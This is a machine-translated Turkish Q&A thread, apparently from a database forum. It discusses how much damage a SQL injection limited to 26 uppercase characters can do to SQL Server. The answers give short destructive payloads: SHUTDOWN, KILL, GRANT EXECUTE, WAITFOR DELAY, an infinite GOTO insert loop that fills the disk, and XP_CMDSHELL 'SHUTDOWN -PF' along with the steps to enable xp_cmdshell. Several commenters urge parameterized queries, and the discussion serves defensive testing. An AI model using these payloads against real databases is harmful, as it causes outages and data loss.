SQL Server enjeksiyonu - 26 karakterde ne kadar hasar?


21

Bir SQL Server veritabanındaki enjeksiyon saldırılarına karşı dayanıklılığı test ediyorum.

Db'deki tüm tablo isimleri küçük harflidir ve harmanlama büyük / küçük harfe duyarlıdır, Latin1_General_CS_AS .

Gönderebileceğim dize büyük harfe zorlanıyor ve uzunluğu maksimum 26 karakter olabilir. Bu yüzden bir DROP TABLOSU gönderemiyorum, çünkü tablo adı büyük harf olur ve böylece ifade harmanlama nedeniyle başarısız olur.

Peki, 26 karakterde yapabileceğim maksimum hasar nedir?

DÜZENLE

Parametrelenmiş sorgular hakkında her şeyi biliyorum ve bunun gibi - hadi gönderelim ki sorguyu oluşturan ön ucu geliştiren kişi bu durumda param kullanmadı.

Ben de çılgınca bir şey yapmaya çalışmıyorum, bu aynı organizasyonda başkası tarafından yaptırılan bir sistem.


1
Hayal ediyor muyuz yoksa gerçekten kalem testi mi yapıyorsunuz ve enjeksiyondan kaçınmanıza izin vermeyen gereksinimleriniz var mı? Güvenlik eksikliğini kırmanın bir yolunu mu arıyorsunuz?
LowlyDBA

41
Neden kapının açık bırakılması seçeneği bile var? Bu, kapıyı kapatmanın maliyetinden çok daha fazla zaman harcadığınıza benziyor. Bunu verimsiz bir tatbikat olarak görüyorum - 10 kırılganlık ortaya çıkarsa, derler ki, bu 10 kırılganlığı ekleyeceğiz ve kesinlikle 11'inci olmayacak. Burası "temizleme" dizelerinin bizi aldığı yer. / facepalm
Aaron Bertrand

5
Bu delice belirsiz ve keyfi bir sorudur ve teorik olarak bile ele alınamaz. SQL Injection'ın diğer yerel hafifletici özellikleri (izinler, sanal alan, güvenlik duvarları vb.) Ve bu soruyu cevaplamak için tüm bunları hesaba katmanız gerekir.
Evan Carroll,

2
26 karakter sınırını zorlayan nedir? Uygulama?
Jonathan Fite,

7
Durdur şunu. Sadece kes şunu. Parametrelenmiş sorgular uzaktan bir seçenekse, bunları kullanın . Başka biri onları nasıl kullanacağını bilmiyorsa, iyi bir kaynak bulun ve okumalarını sağlayın. Dinlemezlerse, bir yöneticiyi veya şefi bilgilendirin, kritik güvenlik açıkları üretiyorlar (tahribatsız bir demo zarar vermez.) Ve eğitilmeyi reddediyorlar.
jpmc26

Yanıtlar:


38

Kolay:

GRANT EXECUTE TO LowlyDBA

Veya sanırım bu durumda

grant execute to lowlydba 

Bununla ilgili çeşitlerinizi seçin.

Her durumda, bunu şimdiki sisteminize göre test edebilirsiniz, ancak zaman içinde veritabanındaki herhangi bir küçük değişiklik testinizi geçersiz kılabilir. Karakter dizgisi değişebilir, birisi yıkıcı potansiyeli olan küçük harf saklı bir prosedür yaratabilir. Asla% 100 güven içinde birisinin yapabileceği yıkıcı bir 26 karakter saldırısı olmadığı söylenemez.

Geliştiricinin temel endüstri standardı en iyi güvenlik uygulamalarını izlemesini sağlamanın bir yolunu bulmanızı öneriyorum , yalnızca güvenlik ihlali olursa, en azından kısmen sorumlu olduğunu düşündüğüm biri olarak kendi iyiliğiniz için.

Düzenle:

Kötü niyetlilık / eğlence için, her izleme bayrağını etkinleştirmeyi deneyebilirsiniz . Bunu gözlemlemek ilginç olurdu. Brent Ozar'ın yapacağı bir blog yazısı gibi görünüyor ...

DBCC TRACEON(xxxx, -1)

1
Izleme bayrağı sağlayan yanında: Çeşitli rastgele ayarlarını değiştirerek: SET LOCK_TIMEOUT 0;, SET LANGUAGE Malaysian;, SET ANSI_NULLS OFF:...
ypercubeᵀᴹ

2
@ ypercubeᵀᴹ hepsi yalnızca kendi oturumunuzu etkiler.
Martin Smith,

2
@ MartinSmith thnx. Eğer SET(satabase ve sunucu ayarları değişti nasıl tek oturum ayarları, etkiler ALTER DATABASE ...;?) DROP DATABASE ..;;) İşlem başarılı olmuş, sonra daha fazla zarar olur
ypercubeᵀᴹ

1
Veritabanını ve sp_configure'ı çoğunlukla DB ve Sunucu seviyesi ayarları için değiştirin. Bunlarla birlikte 26 karakter sınırını vurabilirsiniz. Ayrıca, veritabanı seviyesindeki bu belirli ayarlar yalnızca istemci bağlantısı onları ayarlamazsa kullanılır. Ve varsayılan olarak çoğu veya hepsi yapar.
Martin Smith,

7
Bu söze benziyorum.
Brent Ozar

22

SHUTDOWNKomutu veya KILLumarım bu çalıştırmak için yeterli izinlere sahip değil hesap uygulama sorguları yürütme olsa Komutanlığı (50 yaşın üzerindeki rastgele bir numara seç) hem 26 karakterden daha belirgin az sürer.


Genellikle, hesabın ya bırakma masasına da ihtiyacı olmaz ...
Greg

3
@ Grep evet. Her ne kadar uzunluğu kısa olduğu sürece SQL enjeksiyonuna izin vermeyi düşünen bir ortamı tahmin edebilmenize rağmen, güvenlik en iyi uygulamalarını takip etmiyor ve hesaplar minimum izinlerle yapılandırılmamış olabilir.
Martin Smith,

14

Hangisi önce gelirse, zamanın sonuna kadar doldurduğunuz veya disk alanınız bitene kadar bir tablo oluşturabilirsiniz.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

19
@AlanB Peki, o zaman zayıflığı bir kereden fazla kullanmamı engelleyen bir şeye ihtiyacın olacak.
Mikael Eriksson,

1
tarnations ... while 1=1 insert t values('')30 ... create table x(i int)=> while 1=1 insert t select 027
WernerCD

1
Bunu, karakter sınırından daha uzun bir komut oluşturmak için kullanabilir ve sonra bunu çalıştırabilir misiniz?
Lawtonfogle

1
@ MartinSmith Sadece böyle ayrılacağımı düşündüm ama şimdi denemek zorundayım :). Bunu çözersem haber veririm.
Mikael Eriksson,

7
@WernerCD x:insert t select 0 GOTO xtam olarak 26 yaşında .
Martin Smith

4

Hasar tanımınıza bağlı olarak, şunu çalıştırabilirsiniz: WAITFOR DELAY '23: 59 'Gerçekten kötü olmak için, 32.768 müşteriden çalıştırmak için bir yük test aracı kullanabilirsiniz.



1
Dize kilitleri tutan geçici bir gruba enjekte edilirse, iplik açlığına neden olmak zorunda kalmadan tek bir arama olarak uygulanabilir bir hizmet reddi sağlayabilir.
David Spillett

3

@ MikaelEriksson'nin yanıtına ve @ MartinSmith'in ilk yorumuma cevabına göre değişiklik:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Başlangıçta WHILE ifadesi yapmaya çalıştım, ancak yapabileceğimin en iyisi 27 karakterdi:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

Ancak Martin GOTO'ya dikkat çekti:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... Tüm kötülüklerin kökü ve 26 döngüde sonsuz döngülü insert deyiminin yaratıcısı.

Bununla birlikte ... daha fazla yer kullanacağı için int yerine CHAR (99) ile yapıştırmak avantajlı olabilir. Diğer seçenekler daha uzun isimler kullanır ve 26 karakter sınırını keser ... veya satır başına daha az depolama alanı kullanır.

Tam Test Kodu:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

1
set @S = 'x:insert t;select 0;GOTO x';enjeksiyon saldırınızın gelecekteki uyumluluğu için;)
ypercubeᵀᴹ

@ ypercubeᵀᴹ İki ;saniye eklediniz ... ikincisi gayet iyi - bir boşluğu değiştiriyor ve gerekmiyorsa işlevseldir. İlki sorguyu keser - INSERT deyimini SELECT deyiminden ayırır.
WernerCD

Ah evet. Kişi ayırıcı kullanmadığında ne olur! Her sorgunun nerede bittiğini ve bir daha ne zaman başladığını bilmiyoruz!
ypercubeᵀᴹ

1
@WarnerCD biliyorum. Daha çok SQL Server'daki amortisman prosedüründe bir şakaydı. Sonsuza dek sürecek gibi görünüyor. Yine de, yalnızca gereken yerlerde değil, ifadeler arasında noktalı virgül kullanmak iyi bir uygulamadır.
ypercubeᵀᴹ

2
@ yper Hiç uygulanacağından şüpheliyim. Muhtemelen, bunu yapmak için özel bir ticari değeri olmayan, eksik noktalı virgüllere ihtiyaç duyacak bir ton eski kural vardır. Ve güncellenmesi zor veya mümkün olmayan uygulamalara gömülü olabilir.
Martin Smith

0
XP_CMDSHELL 'SHUTDOWN -PF'

Ne kadar zarar vereceğinize bağlı olarak bir güçlenme olduğunu düşünün. :-)

Bu, xp_cmdshell'in sunucuda etkinleştirilmesini gerektirir; SQL Server'ın son birkaç sürümü için geçerli olmayan bir şey. Ayrıca servis hesabının kapatma hakkına sahip olmasını gerektirir;

Xp_cmdshell öğesinin etkinleştirilmesi muhtemelen 26 karakter sınırınızın dışına çıkar. Birden fazla enjeksiyona izin verir misiniz?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE

1
EXEC yalnızca bu, toplu işteki ilk ifade ise isteğe bağlıdır. Hangi muhtemelen burada durum böyle olmayacak.
Martin Smith

@ Martin Smith, iyi yorum. EXEC, her prosedür çağrı hattına 5 karakter ekler ve bu sayıların çoğu 26 karakterden fazladır. CREATE ALIAS'ın burada yardım edip etmeyeceğini merak ediyorum?
Greenstone Walker
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.